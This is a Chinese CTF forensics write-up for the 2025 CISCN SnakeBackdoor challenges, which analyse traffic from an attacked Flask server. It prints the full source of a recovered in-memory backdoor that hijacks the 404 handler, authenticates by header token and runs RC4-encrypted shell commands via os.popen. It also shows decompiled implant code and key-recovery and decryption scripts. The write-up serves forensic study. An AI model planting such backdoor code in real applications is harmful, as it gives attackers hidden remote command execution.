2025 CISCN&CCB初赛 - Misc - WriteUp
碎碎念
咳咳,这还真不是第一次参加CISCN,其实之前就参加过两次,一次是本科期间的,一次是研一的,本科就不提了,研一打的时候还没正式进实验室,然后是跟研一的同学打的,最后打到一半就去看陈奕迅演唱会了(),最后也没晋级
今年也算是沾了队友的光,打了个不错的成绩,就是比赛体验稍微差了点,前面大半天都没事做,直到最后上了流量才有点活干干
至此今年的最后一场CTF就圆满落幕了,希望明年能有更好的表现吧~
SnakeBackdoor-1
攻击者爆破成功的后台密码是什么?
简单看看,过滤一下会发现后面有进行登录操作

跟踪一下http流就能找到密码

SnakeBackdoor-2
攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么?
直接过滤KEY的流量,发现就一条,里面能找到对应的值

SnakeBackdoor-3
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key)
顺着时间线往后看,找到一条流量里post了马子,

马子进行了base64加密,解一下发现他先对数据zlib压缩后再base64编码,最后反转

反过来解密,发现是套娃

这边我是自己手解的,解了1w层之后得到了里面的源码
其中第四行就是key了
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
SnakeBackdoor-4
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
继续分析,首先上面的源码不难看出来是用了rc4加密,并且数据传输带了请求头X-Token-Auth,直接过滤请求头,找到如下数据

逐条解密,会发现这里将shell改成了python3.13,提交发现对了

另外在他的前面还有解压,里面有解压密码

流量包里访问了这个压缩包,可以提取出来解压分析

SnakeBackdoor-5
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母)
ida分析,发现有外联地址和端口,直接过滤端口找到流量

分析代码,发现18ED函数从远端服务器读入了数据
unsigned __int64 __fastcall sub_18ED(__int64 fd, __int64 p_command, unsigned __int64 n4, int flags_1)
{
ssize_t v7; // [rsp+28h] [rbp-18h]
unsigned __int64 n4_1; // [rsp+38h] [rbp-8h]
for ( n4_1 = 0; ; n4_1 += v7 )
{
if ( n4_1 >= n4 )
return n4_1;
v7 = recv(fd, (void *)(p_command + n4_1), n4 - n4_1, flags_1);
if ( v7 <= 0 )
break;
}
if ( v7 )
return 0xFFFFFFFFLL;
if ( n4_1 )
return 0xFFFFFFFFLL;
return 0;
}
然后把数据拿来做seed
跟踪tcp流找到最开头读到的seed数据

拿到seed数据后,简单写个脚本利用linux环境生产key即可,因为种子固定,所以生成的key也是固定的
import ctypes
import struct
libc = ctypes.CDLL("libc.so.6")
def get_key_from_hex(hex_str: str) -> bytes:
seed = int(hex_str, 16)
libc.srand(seed)
return struct.pack(
'<4I',
libc.rand(),
libc.rand(),
libc.rand(),
libc.rand()
)
if __name__ == "__main__":
key = get_key_from_hex("34952046")
print(key.hex())
最后得到key为ac46fb610b313b4f32fc642d8834b456
SnakeBackdoor-6
请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}
拿到key之后就是对程序进行逆向解密即可,跟踪tcp流中有传输的密文数据,其中每条数据传输前都会跟一条8字节的数据,实际上是指数据的长度

分析里面的数据和函数,发现是一个魔改SM4,SBOX被魔改了光看前面会发现没什么问题,实际上从后面几行开始就被魔改了
//S盒
const unsigned char Sbox[256] = {
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};

而轮密钥拓展部分也被魔改了,密钥字节的读取顺序被调整了,同时轮密钥顺序反转,在密钥拓展阶段就把密钥反着存
void __fastcall sub_13B4(__int64 a1, __int64 a2, int a3)
{
unsigned int v3; // ebx
unsigned int v4; // ebx
unsigned int v5; // [rsp+20h] [rbp-30h]
unsigned int v6; // [rsp+24h] [rbp-2Ch]
unsigned int v7; // [rsp+28h] [rbp-28h]
unsigned int v8; // [rsp+2Ch] [rbp-24h]
unsigned int v9; // [rsp+38h] [rbp-18h]
unsigned int n3; // [rsp+3Ch] [rbp-14h]
for ( n3 = 0; n3 <= 3; ++n3 )
{
*(&v5 + n3) = (*(unsigned __int8 *)(4 * n3 + 2 + a2) << 8)
| (*(unsigned __int8 *)(4 * n3 + 1 + a2) << 16)
| (*(unsigned __int8 *)(4 * n3 + a2) << 24)
| *(unsigned __int8 *)(4 * n3 + 3 + a2);
*(&v5 + n3) ^= dword_2120[n3];
}
if ( a3 == 1 )
{
for ( n3 = 0; n3 <= 0x1F; ++n3 )
{
v3 = v5;
*(_DWORD *)(a1 + 4LL * n3) = sub_1311(v8 ^ v7 ^ v6 ^ dword_2140[n3]) ^ v3;
v5 = v6;
v6 = v7;
v7 = v8;
v8 = *(_DWORD *)(a1 + 4LL * n3);
}
}
else
{
for ( n3 = 0; n3 <= 0x1F; ++n3 )
{
v4 = v5;
v9 = v4 ^ sub_1311(v8 ^ v7 ^ v6 ^ dword_2140[n3]);
v5 = v6;
v6 = v7;
v7 = v8;
v8 = v9;
*(_DWORD *)(a1 + 4LL * (31 - n3)) = v9;
}
}
}
所以针对里面的函数和数据写出脚本解密即可
sbox = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
0xD5, 0xDB, 0x39, 0xB8, 0x31, 0x11, 0x0C, 0x5A, 0xCB, 0x3E, 0x0A, 0x45, 0xE5, 0x94, 0x77, 0x5B,
0x8D, 0x6D, 0x48, 0x41, 0x10, 0xBD, 0x09, 0xC1, 0x4A, 0x89, 0x0D, 0x6E, 0x97, 0xA1, 0x1D, 0x16,
0x0A, 0xD9, 0x88, 0x6A, 0x96, 0xD1, 0x6B, 0x32, 0x02, 0x35, 0x46, 0x06, 0x7D, 0x65, 0x49, 0x8C,
0xF0, 0x3E, 0x2D, 0x7A, 0x15, 0xFF, 0x05, 0x8E, 0x01, 0x84, 0x3C, 0x3A, 0x38, 0x53, 0x87, 0x7B,
0x0B, 0x2B, 0x7E, 0x0F, 0xF6, 0x69, 0xA8, 0x5A, 0xB5, 0x4C, 0x1B, 0x39, 0x7F, 0x08, 0x8D, 0x1C
]
fk = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
ck = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269, 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249, 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229, 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
]
def rol(x, n):
return ((x << n) | (x >> (32 - n))) & 0xffffffff
def ror(x, n):
return ((x >> n) | (x << (32 - n))) & 0xffffffff
def tau1(a):
v1 = sbox[(a >> 24) & 0xff]
v2 = (sbox[(a >> 16) & 0xff] << 8) | v1
v3 = (sbox[(a >> 8) & 0xff] << 16) | v2
v4 = sbox[a & 0xff]
res = (v3 | (v4 << 24)) & 0xffffffff
return (ror(res, 9) ^ res ^ rol(res, 13)) & 0xffffffff
def tau2(a):
v1 = sbox[(a >> 24) & 0xff]
v2 = (sbox[(a >> 16) & 0xff] << 8) | v1
v3 = (sbox[(a >> 8) & 0xff] << 16) | v2
v4 = sbox[a & 0xff]
res = (v3 | (v4 << 24)) & 0xffffffff
return (ror(res, 14) ^ res ^ rol(res, 2) ^ rol(res, 10) ^ ror(res, 8)) & 0xffffffff
def keygen(key):
v5 = ((key[2] << 8) | (key[1] << 16) | (key[0] << 24) | key[3]) & 0xffffffff
v6 = ((key[6] << 8) | (key[5] << 16) | (key[4] << 24) | key[7]) & 0xffffffff
v7 = ((key[10] << 8) | (key[9] << 16) | (key[8] << 24) | key[11]) & 0xffffffff
v8 = ((key[14] << 8) | (key[13] << 16) | (key[12] << 24) | key[15]) & 0xffffffff
v5 ^= fk[0]
v6 ^= fk[1]
v7 ^= fk[2]
v8 ^= fk[3]
rk = [0] * 32
for i in range(32):
tmp = v5
tmp2 = (tmp ^ tau1((v8 ^ v7 ^ v6 ^ ck[i]) & 0xffffffff)) & 0xffffffff
v5, v6, v7, v8 = v6, v7, v8, tmp2
rk[31 - i] = tmp2
return rk
def decrypt_block(rk, data):
x0 = int.from_bytes(data[0:4], 'big')
x1 = int.from_bytes(data[4:8], 'big')
x2 = int.from_bytes(data[8:12], 'big')
x3 = int.from_bytes(data[12:16], 'big')
for i in range(32):
tmp = (x0 ^ tau2((x3 ^ x2 ^ x1 ^ rk[i]) & 0xffffffff)) & 0xffffffff
x0, x1, x2, x3 = x1, x2, x3, tmp
out = bytearray(16)
for j, val in enumerate([x3, x2, x1, x0]):
out[j * 4] = (val >> 24) & 0xff
out[j * 4 + 1] = (val >> 16) & 0xff
out[j * 4 + 2] = (val >> 8) & 0xff
out[j * 4 + 3] = val & 0xff
return bytes(out)
def decrypt(ct, key):
rk = keygen(key)
pt = b''
for i in range(0, len(ct), 16):
pt += decrypt_block(rk, ct[i:i + 16])
pad = pt[-1]
if 1 <= pad <= 16 and all(b == pad for b in pt[-pad:]):
pt = pt[:-pad]
return pt
key = bytes.fromhex("ac46fb610b313b4f32fc642d8834b456")
ciphertext = bytes.fromhex("7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729")
plaintext = decrypt(ciphertext, key)
print(plaintext.decode())
最后得到flag为(前一条写了l换成1,o换成0)

flag{6894c9ec-719b-4605-82bf-4fe1de27738f}